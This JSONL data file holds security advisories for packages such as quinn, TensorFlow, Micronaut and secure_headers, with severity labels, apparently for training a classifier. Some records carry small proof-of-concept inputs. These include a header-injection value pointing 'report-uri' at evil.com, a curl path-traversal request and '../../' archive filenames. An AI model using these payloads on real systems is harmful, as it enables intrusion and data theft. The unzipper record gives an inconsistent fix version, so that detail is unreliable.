-{"id": "268c27d9f3c528584b24", "text": "quinn invalidly assumes the memory layout of std::net::SocketAddr\n\nThe quinn crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "text_raw": "quinn invalidly assumes the memory layout of std::net::SocketAddr\n\n[Severity: HIGH]\n\nThe quinn crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7e0de00e3b6ab44c04b8", "text": "Persistent XSS in customer module in Shopware\n\n### Impact\nPersistent XSS in customer  module\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "text_raw": "Persistent XSS in customer module in Shopware\n\n[Severity: LOW]\n\n### Impact\nPersistent XSS in customer  module\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "e5089d0923d21d390cd7", "text": "Prototype Pollution in multi-ini\n\nThis affects the package multi-ini before 2.1.1. It is possible to pollute an object's prototype by specifying the proto object as part of an array.", "text_raw": "Prototype Pollution in multi-ini\n\n[Severity: CRITICAL]\n\nThis affects the package multi-ini before 2.1.1. It is possible to pollute an object's prototype by specifying the proto object as part of an array.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "4742e70d84d983d7dfa6", "text": "Denial of service in chrono-node\n\nThis affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.", "text_raw": "Denial of service in chrono-node\n\n[Severity: HIGH]\n\nThis affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "16cf901a5a80bd2d4ccf", "text": "Arbitrary File Write via Archive Extraction in unzipper\n\nVersions of `unzipper` before 0.8.13 are vulnerable to arbitrary file write when used to extract a specifically crafted archive that contains path traversal filenames (`../../file.txt` for example).\n\n## Recommendation\n\nUpdate to version 0.3.18 or later.", "text_raw": "Arbitrary File Write via Archive Extraction in unzipper\n\n[Severity: MEDIUM]\n\nVersions of `unzipper` before 0.8.13 are vulnerable to arbitrary file write when used to extract a specifically crafted archive that contains path traversal filenames (`../../file.txt` for example).\n\n\n## Recommendation\n\nUpdate to version 0.3.18 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "4030db057ac7d492e8b5", "text": "Cross Site Scripting (XSS) in Quokka\n\nCross Site Scripting (XSS) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the 'Username' parameter in the component 'quokka/admin/actions.py'.", "text_raw": "Cross Site Scripting (XSS) in Quokka\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the 'Username' parameter in the component 'quokka/admin/actions.py'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "b455d398074310a67b20", "text": "Google Chromium V8 Use-After-Free Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Use-After-Free Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-15", "split": "train"}
-{"id": "3327e520a4ca980e8bf1", "text": "Malicious Package in koa-body-parse\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in koa-body-parse\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "013275863c0a62b74916", "text": "Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities", "text_raw": "Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-11-30", "split": "train"}
-{"id": "fb994bc2e2f7f27cdc46", "text": "Malicious Package in bs58chekc\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bs58chekc\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ecd894040c4bcfc3333e", "text": "Stored XSS in Apache Airflow\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. A stored XSS vulnerability was discovered in the Chart pages of the the \"classic\" UI.", "text_raw": "Stored XSS in Apache Airflow\n\n[Severity: MEDIUM]\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. A stored XSS vulnerability was discovered in the Chart pages of the the \"classic\" UI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "3051a98c73a9f8ea6171", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Remote Code Execution (Backdoors)", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Remote Code Execution (Backdoors)\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "393481fd073618b9d107", "text": "Division by 0 in `QuantizedMul`\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`:\n\n```python\nimport tensorflow as tf\n\nx = tf.zeros([4, 1], dtype=tf.quint8)\ny = tf.constant([], dtype=tf.quint8)\nmin_x = tf.constant(0.0)\nmax_x = tf.constant(0.0010000000474974513)\nmin_y = tf.constant(0.0)\nmax_y = tf.constant(0.0010000000474974513)\n\ntf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55900e961ed4a23b438392024912154a2c2f5e85/tensorflow/core/kernels/quantized_mul_op.cc#L188-L198) does a division by a quantity that is controlled by the caller:\n\n```cc\ntemplate <class T, class Toutput>\nvoid VectorTensorMultiply(const T* vector_data, int32 vector_offset,\n                          int64 vector_num_elements, const T* tensor_data,\n                          int32 tensor_offset, int64 tensor_num_elements,\n                          Toutput* output) {\n  for (int i = 0; i < tensor_num_elements; ++i) {\n    const int64 vector_i = i % vector_num_elements;\n    ...\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6](https://github.com/tensorflow/tensorflow/commit/a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `QuantizedMul`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`:\n\n```python\nimport tensorflow as tf\n\nx = tf.zeros([4, 1], dtype=tf.quint8)\ny = tf.constant([], dtype=tf.quint8)\nmin_x = tf.constant(0.0)\nmax_x = tf.constant(0.0010000000474974513)\nmin_y = tf.constant(0.0)\nmax_y = tf.constant(0.0010000000474974513)\n\ntf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```                            \n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55900e961ed4a23b438392024912154a2c2f5e85/tensorflow/core/kernels/quantized_mul_op.cc#L188-L198) does a division by a quantity that is controlled by the caller:\n\n```cc\ntemplate <class T, class Toutput>\nvoid VectorTensorMultiply(const T* vector_data, int32 vector_offset,\n                          int64 vector_num_elements, const T* tensor_data,\n                          int32 tensor_offset, int64 tensor_num_elements,\n                          Toutput* output) {\n  for (int i = 0; i < tensor_num_elements; ++i) {\n    const int64 vector_i = i % vector_num_elements;\n    ...\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6](https://github.com/tensorflow/tensorflow/commit/a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7ff7a23981c57683b014", "text": "Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading", "text_raw": "Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-04-03", "split": "train"}
-{"id": "0d1096b2a8d79e62efa6", "text": "Division by 0 in most convolution operators\n\n### Impact\nMost implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Conv2D(\n  input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  strides = [1, 1, 1, 1],\n  padding = \"SAME\")\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577) is missing several validations before doing divisions and modulo operations.\n\n### Patches\nWe have patched the issue in GitHub commit [8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4](https://github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Division by 0 in most convolution operators\n\n[Severity: MEDIUM]\n\n### Impact\nMost implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Conv2D(\n  input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  strides = [1, 1, 1, 1],\n  padding = \"SAME\")\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577) is missing several validations before doing divisions and modulo operations.\n\n### Patches\nWe have patched the issue in GitHub commit [8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4](https://github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "39ad2b1a5687834f0859", "text": "Nero ShowTime 5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC", "text_raw": "Nero ShowTime 5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-11-24", "split": "train"}
-{"id": "b645fcf1ebb52831983c", "text": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers\n\n### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter", "text_raw": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers\n\n[Severity: MEDIUM]\n\n### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-23", "split": "train"}
-{"id": "02d35f0e18d86c770367", "text": "Argo Server TLS requests could be forged by attacker with network access\n\n### Impact\n\nWe are not aware of any exploits. This is a pro-active fix.\n\nImpacted:\n\n* You are running Argo Server < v3.0 with `--secure=true` or >= v3.0 with `--secure` unspecified (note - running in secure mode is recommended regardless).\n* The attacker is within your network. If you expose Argo Server to the Internet then \"your network\" is \"the Internet\".\n\nThe Argo Server's keys are packaged within the image. They could be extracted and used to decrypt traffic, or forge requests.\n\n### Patches\n\nhttps://github.com/argoproj/argo-workflows/pull/6540\n\n### Workarounds\n\n* Make sure that your Argo Server service or pod are not directly accessible outside of your cluster. Put TLS load balancer in front of it.\n\nThis was identified by engineers at Jetstack.io", "text_raw": "Argo Server TLS requests could be forged by attacker with network access\n\n[Severity: MEDIUM]\n\n### Impact\n\nWe are not aware of any exploits. This is a pro-active fix.\n\nImpacted: \n\n* You are running Argo Server < v3.0 with `--secure=true` or >= v3.0 with `--secure` unspecified (note - running in secure mode is recommended regardless).\n* The attacker is within your network. If you expose Argo Server to the Internet then \"your network\" is \"the Internet\". \n\nThe Argo Server's keys are packaged within the image. They could be extracted and used to decrypt traffic, or forge requests.\n\n### Patches\n\nhttps://github.com/argoproj/argo-workflows/pull/6540\n\n### Workarounds\n\n* Make sure that your Argo Server service or pod are not directly accessible outside of your cluster. Put TLS load balancer in front of it.\n\nThis was identified by engineers at Jetstack.io", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "5d06fb6fd2804596fae5", "text": "Server-Side Request Forgery in node-pdf-generator\n\nThis affects all versions of package node-pdf-generator up to and including 0.0.6. Due to lack of user input validation and sanitization done to the content given to node-pdf-generator, it is possible for an attacker to craft a url that will be passed to an external server allowing an SSRF attack.", "text_raw": "Server-Side Request Forgery in node-pdf-generator\n\n[Severity: HIGH]\n\nThis affects all versions of package node-pdf-generator up to and including 0.0.6. Due to lack of user input validation and sanitization done to the content given to node-pdf-generator, it is possible for an attacker to craft a url that will be passed to an external server allowing an SSRF attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "d18e0006ab43855b6818", "text": "AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit", "text_raw": "AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-12-27", "split": "train"}
-{"id": "0f504886784d36706f22", "text": "Uncontrolled Resource Consumption in XNIO\n\nA vulnerability was discovered in XNIO where file descriptor leak caused by growing amounts of NIO Selector file handles between garbage collection cycles. It may allow the attacker to cause a denial of service. It affects XNIO versions 3.6.0.Beta1 through 3.8.1.Final.", "text_raw": "Uncontrolled Resource Consumption in XNIO\n\n[Severity: MEDIUM]\n\nA vulnerability was discovered in XNIO where file descriptor leak caused by growing amounts of NIO Selector file handles between garbage collection cycles. It may allow the attacker to cause a denial of service. It affects XNIO versions 3.6.0.Beta1 through 3.8.1.Final.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "67884dfc96ac99638e46", "text": "Remote Code Execution (RCE) Exploit on Cross Site Scripting (XSS) Vulnerability\n\n### Impact\nA RCE exploit has been discovered in the Red Discord Bot - Dashboard Webserver: this exploit allows Discord users with specially crafted Server names and Usernames/Nicknames to inject code into the webserver front-end code.  By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Workarounds\nThere are no workarounds, bot owners must upgrade their relevant packages (Dashboard module and Dashboard webserver) in order to patch this issue\n\n### References\n- 99d88b8\n- a6b9785\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-Dashboard](https://github.com/Cog-Creators/Red-Dashboard/issues/new/choose)\n* Over on the official [Red Server](https://discord.gg/red) or at the Third Party Server [Toxic Layer](https://discord.gg/vQZTdB9)", "text_raw": "Remote Code Execution (RCE) Exploit on Cross Site Scripting (XSS) Vulnerability\n\n[Severity: MEDIUM]\n\n### Impact\nA RCE exploit has been discovered in the Red Discord Bot - Dashboard Webserver: this exploit allows Discord users with specially crafted Server names and Usernames/Nicknames to inject code into the webserver front-end code.  By abusing this exploit, it's possible to perform destructive actions and/or access sensitive information.\n\n### Patches\nThis high severity exploit has been fixed on version `0.1.7a`.\n\n### Workarounds\nThere are no workarounds, bot owners must upgrade their relevant packages (Dashboard module and Dashboard webserver) in order to patch this issue\n\n### References\n- 99d88b8\n- a6b9785\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-Dashboard](https://github.com/Cog-Creators/Red-Dashboard/issues/new/choose)\n* Over on the official [Red Server](https://discord.gg/red) or at the Third Party Server [Toxic Layer](https://discord.gg/vQZTdB9)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-08", "split": "train"}
-{"id": "c94d29f1045cabb4f1ba", "text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in micronaut-core\n\nWith a basic configuration like\n\n```yaml\nrouter:\n  static-resources:\n    assets:\n      enabled: true\n      mapping: /.assets/public/**\n      paths: file:/home/lstrmiska/test/\n```\n\nit is possible to access any file from a filesystem, using \"/../../\" in URL, as Micronaut does not restrict file access to configured paths.\n\n**Repro Steps**\n- create a file test.txt in /home/lstrmiska\n- start micronaut\n- execute command\n`curl -v --path-as-is \"http://localhost:8080/.assets/public/../test.txt\"`\n\n### Impact\n\nMicronaut can potentially leak sensitive information.\n\nSee https://cwe.mitre.org/data/definitions/22.html\n\n### Patches\n\n```\ndiff --git a/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java b/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\nindex 2f5a91403..19d3b7f05 100644\n--- a/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\n+++ b/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\n@@ -69,6 +69,9 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     @Override\n     public Optional<InputStream> getResourceAsStream(String path) {\n         Path filePath = getFilePath(normalize(path));\n+        if (pathOutsideBase(filePath)) {\n+            return Optional.empty();\n+        }\n         try {\n             return Optional.of(Files.newInputStream(filePath));\n         } catch (IOException e) {\n@@ -79,7 +82,7 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     @Override\n     public Optional<URL> getResource(String path) {\n         Path filePath = getFilePath(normalize(path));\n-        if (Files.exists(filePath) && Files.isReadable(filePath) && !Files.isDirectory(filePath)) {\n+        if (!pathOutsideBase(filePath) && Files.exists(filePath) && Files.isReadable(filePath) && !Files.isDirectory(filePath)) {\n             try {\n                 URL url = filePath.toUri().toURL();\n                 return Optional.of(url);\n@@ -117,4 +120,15 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     private Path getFilePath(String path) {\n         return baseDirPath.map(dir -> dir.resolve(path)).orElseGet(() -> Paths.get(path));\n     }\n+\n+    private boolean pathOutsideBase(Path path) {\n+        if (baseDirPath.isPresent()) {\n+            Path baseDir = baseDirPath.get();\n+            if (path.isAbsolute() == baseDir.isAbsolute()) {\n+                Path relativePath = baseDir.relativize(path);\n+                return relativePath.startsWith(\"..\");\n+            }\n+        }\n+        return false;\n+    }\n }\n--\n\n```\n\n### Workarounds\n\n- do not use ** in mapping, use only * which exposes only flat structure of a directory not allowing traversal\n- run micronaut in chroot (linux only)\n\n### References\n\nSee https://cwe.mitre.org/data/definitions/22.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Github](https://github.com/micronaut-projects/micronaut-core/issues)\n* Email us at [info@micronaut.io](mailto:info@micronaut.io)", "text_raw": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in micronaut-core\n\n[Severity: HIGH]\n\nWith a basic configuration like\n\n```yaml\nrouter:\n  static-resources:\n    assets:\n      enabled: true\n      mapping: /.assets/public/**\n      paths: file:/home/lstrmiska/test/\n```\n\nit is possible to access any file from a filesystem, using \"/../../\" in URL, as Micronaut does not restrict file access to configured paths. \n\n**Repro Steps**\n- create a file test.txt in /home/lstrmiska\n- start micronaut\n- execute command\n`curl -v --path-as-is \"http://localhost:8080/.assets/public/../test.txt\"`\n\n\n### Impact\n\nMicronaut can potentially leak sensitive information.\n\nSee https://cwe.mitre.org/data/definitions/22.html\n\n### Patches\n\n```\ndiff --git a/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java b/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\nindex 2f5a91403..19d3b7f05 100644\n--- a/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\n+++ b/core/src/main/java/io/micronaut/core/io/file/DefaultFileSystemResourceLoader.java\n@@ -69,6 +69,9 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     @Override\n     public Optional<InputStream> getResourceAsStream(String path) {\n         Path filePath = getFilePath(normalize(path));\n+        if (pathOutsideBase(filePath)) {\n+            return Optional.empty();\n+        }\n         try {\n             return Optional.of(Files.newInputStream(filePath));\n         } catch (IOException e) {\n@@ -79,7 +82,7 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     @Override\n     public Optional<URL> getResource(String path) {\n         Path filePath = getFilePath(normalize(path));\n-        if (Files.exists(filePath) && Files.isReadable(filePath) && !Files.isDirectory(filePath)) {\n+        if (!pathOutsideBase(filePath) && Files.exists(filePath) && Files.isReadable(filePath) && !Files.isDirectory(filePath)) {\n             try {\n                 URL url = filePath.toUri().toURL();\n                 return Optional.of(url);\n@@ -117,4 +120,15 @@ public class DefaultFileSystemResourceLoader implements FileSystemResourceLoader\n     private Path getFilePath(String path) {\n         return baseDirPath.map(dir -> dir.resolve(path)).orElseGet(() -> Paths.get(path));\n     }\n+\n+    private boolean pathOutsideBase(Path path) {\n+        if (baseDirPath.isPresent()) {\n+            Path baseDir = baseDirPath.get();\n+            if (path.isAbsolute() == baseDir.isAbsolute()) {\n+                Path relativePath = baseDir.relativize(path);\n+                return relativePath.startsWith(\"..\");\n+            }\n+        }\n+        return false;\n+    }\n }\n-- \n\n```\n\n### Workarounds\n\n- do not use ** in mapping, use only * which exposes only flat structure of a directory not allowing traversal\n- run micronaut in chroot (linux only)\n\n### References\n\nSee https://cwe.mitre.org/data/definitions/22.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Github](https://github.com/micronaut-projects/micronaut-core/issues)\n* Email us at [info@micronaut.io](mailto:info@micronaut.io)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "554b7067bf1bebb3f64b", "text": "Privilege Escalation in cordova-plugin-inappbrowser\n\nVersions of `cordova-plugin-inappbrowser` prior to 3.1.0 are vulnerable to Privilege Escalation. A website running in the InAppBrowser webview on Android could execute arbitrary JavaScript in the main application's webview using a specially crafted gap-iab: URI. This affects Cordova Android applications using the package.\n\n## Recommendation\n\nUpgrade to version 3.1.0 or later.", "text_raw": "Privilege Escalation in cordova-plugin-inappbrowser\n\n[Severity: CRITICAL]\n\nVersions of `cordova-plugin-inappbrowser` prior to 3.1.0 are vulnerable to Privilege Escalation. A website running in the InAppBrowser webview on Android could execute arbitrary JavaScript in the main application's webview using a specially crafted gap-iab: URI. This affects Cordova Android applications using the package.\n\n\n## Recommendation\n\nUpgrade to version 3.1.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
